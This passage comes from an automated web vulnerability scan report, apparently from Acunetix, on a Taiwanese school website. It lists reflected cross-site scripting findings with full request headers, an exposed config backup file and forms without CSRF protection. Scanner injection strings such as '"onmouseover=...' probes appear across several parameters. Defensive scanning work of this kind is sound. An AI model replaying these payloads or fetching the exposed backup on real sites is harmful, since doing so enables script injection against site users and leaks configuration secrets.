RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/page.php
Verified vulnerability

Details

URL encoded GET input ncsn was set to 2"onmouseover=JkOa(9302)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadnews/page.php?ncsn=2"onmouseover=JkOa(9302)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/page.php
Verified vulnerability

Details

URL encoded GET input nsn was set to 9"onmouseover=0KaN(9338)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadnews/page.php?ncsn=2&nsn=9"onmouseover=0KaN(9338)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/search.php
Details

URI was set to ;9743'();}]9431 
The input is reflected inside a <script> tag between single quotes.

Request headers

GET /search.php/%3B%39%37%34%33%27%28%29%3B%7D%5D%39%34%33%31 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/search.php
Verified vulnerability

Details

URL encoded GET input nsn was set to 1"onmouseover=N9SS(9992)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /search.php?nsn=1"onmouseover=N9SS(9992)"&op=delete_tad_news HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/search.php



Verified vulnerability

Details

URL encoded GET input op was set to delete_tad_news"onmouseover=N9SS(9559)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /search.php?nsn=&op=delete_tad_news"onmouseover=N9SS(9559)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/search.php
Verified vulnerability

Details

URL encoded GET input query was set to 1"onmouseover=PFKd(9543)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /search.php?action=results&query=1"onmouseover=PFKd(9543)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/search.php
Verified vulnerability

Details

URL encoded GET input query was set to 1"onmouseover=Dspq(9383)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /search.php?
action=results&andor=AND&id_REQUEST=e8d853151010d0cce8bb77f63d14764e&mids[]=9&query=1"onm
ouseover=Dspq(9383)"&submit= HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/user.php
Verified vulnerability

Details

URL encoded GET input xoops_redirect was set to /"onmouseover=dP2a(9549)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/profile/user.php?xoops_redirect=/"onmouseover=dP2a(9549)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/user.php?xoops_redirect=/"onmouseover=dP2a(9549)" 
Connection: keep-alive 
Accept: */* 
Accept-Encoding: gzip,deflate 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Host: tad.lces.tn.edu.tw 

 Backup files

Severity Medium
Reported by module /Scripts/PerFile/Backup_File.script

Description

A possible backup file was found on your web-server. These files are usually created by developers to backup their work.

Impact

Backup files can contain script sources, configuration files or other sensitive information that may help an malicious user to
prepare more advanced attacks.



Recommendation

Remove the file(s) if they are not required on your website. As an additional step, it is recommended to implement a
security policy within your organization to disallow creation of backup files in directories accessible from the web.

References

Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)
(https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-
CONFIG-004)) 
Security Tips for Server Configuration (http://httpd.apache.org/docs/1.3/misc/security_tips.html) 
Protecting Confidential Documents at Your Site (http://www.w3.org/Security/Faq/wwwsf5.html) 

Affected items

/themes/school2019/config2.php
Details

This file was found using the pattern ${fileName}2${fileExt}. 
Original filename: config.php
Request headers

GET /themes/school2019/config2.php HTTP/1.1 
Range: bytes=0-99999 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

 HTML form without CSRF protection

Severity Medium
Reported by module /Crawler/12-Crawler_Form_NO_CSRF.js

Description

This alert requires manual confirmation

Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the
victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's
browser. 

Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for
more information about the affected HTML form.

Impact

An attacker could use CSRF to trick a victim into accessing a website hosted by the attacker, or clicking a URL containing
malicious or unauthorized requests. 

https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004)
http://httpd.apache.org/docs/1.3/misc/security_tips.html
http://www.w3.org/Security/Faq/wwwsf5.html


CSRF is a type of 'confused deputy' attack which leverages the authentication and authorization of the victim when the
forged request is being sent to the web server. Therefore, if a CSRF vulnerability could affect highly privileged users such
as administrators full application compromise may be possible.

Recommendation

Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. 

The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also
sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the
following attributes. 

The anti-CSRF token should be unique for each user session
The session should automatically expire after a suitable amount of time
The anti-CSRF token should be a cryptographically random value of significant length
The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number
Generator (PRNG) algorithm
The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state
changes, that is, GET requests are not idempotent)
The server should reject the requested action if the anti-CSRF token fails validation

When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token
should be included in the request. Then, the web application will then verify the existence and correctness of this token
before processing the request. If the token is missing or incorrect, the request can be rejected.

References

What is Cross Site Reference Forgery (CSRF)? (https://www.acunetix.com/websitesecurity/csrf-attacks/) 
Cross-Site Request Forgery (CSRF) Prevention Cheatsheet (https://www.owasp.org/index.php/Cross-
Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet) 
The Cross-Site Request Forgery (CSRF/XSRF) FAQ (http://www.cgisecurity.com/csrf-faq.html) 
Cross-site Request Forgery (https://en.wikipedia.org/wiki/Cross-site_request_forgery) 

Affected items

Web Server
Details

Request headers

GET / HTTP/1.1 
Cookie: PHPSESSID=p0hect0s0l3ttnp1mj2eftphs4 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/index.php
Details

Request headers

GET /index.php?nsn=&op=delete_tad_news HTTP/1.1 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/profile/index.php

https://www.acunetix.com/websitesecurity/csrf-attacks/
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
http://www.cgisecurity.com/csrf-faq.html
https://en.wikipedia.org/wiki/Cross-site_request_forgery


Details

Request headers

GET /modules/profile/index.php HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/profile/user.php
Details

Request headers

GET /modules/profile/user.php?xoops_redirect=/ HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tad_idioms/index.php
Details

Request headers



GET /modules/tad_idioms/index.php?nsn=&op=delete_tad_news HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tad_link/index.php
Details

Request headers

GET /modules/tad_link/index.php HTTP/1.1 
Referer: https://www.google.com/search?hl=en&q=testing 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;xoops_user_59afad46=deleted 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
Connection: Keep-alive 

/modules/tad_login/index.php
Details

Request headers

GET /modules/tad_login/index.php HTTP/1.1 
Referer: https://www.google.com/search?hl=en&q=testing 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Cookie: PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;xoops_user_59afad46=deleted 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
Connection: Keep-alive 

/modules/tad_lunch3/index.php
Details

Request headers



GET /modules/tad_lunch3/index.php HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tad_player/index.php
Details

Request headers

GET /modules/tad_player/index.php HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tad_player/play.php
Details

Request headers

GET /modules/tad_player/play.php?psn=1 HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tad_player/playlist.php



Details

Request headers

GET /modules/tad_player/playlist.php?pcsn=1 HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tadgallery/cooliris.php
Details

Request headers

GET /modules/tadgallery/cooliris.php?nsn=&op=delete_tad_news HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tadgallery/index.php
Details

Request headers



GET /modules/tadgallery/index.php?csn=1 HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tadgallery/view.php
Details

Request headers

GET /modules/tadgallery/view.php?sn=9 HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Connection: Keep-alive 

/modules/tadnews/archive.php
Details

Request headers

GET /modules/tadnews/archive.php HTTP/1.1 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
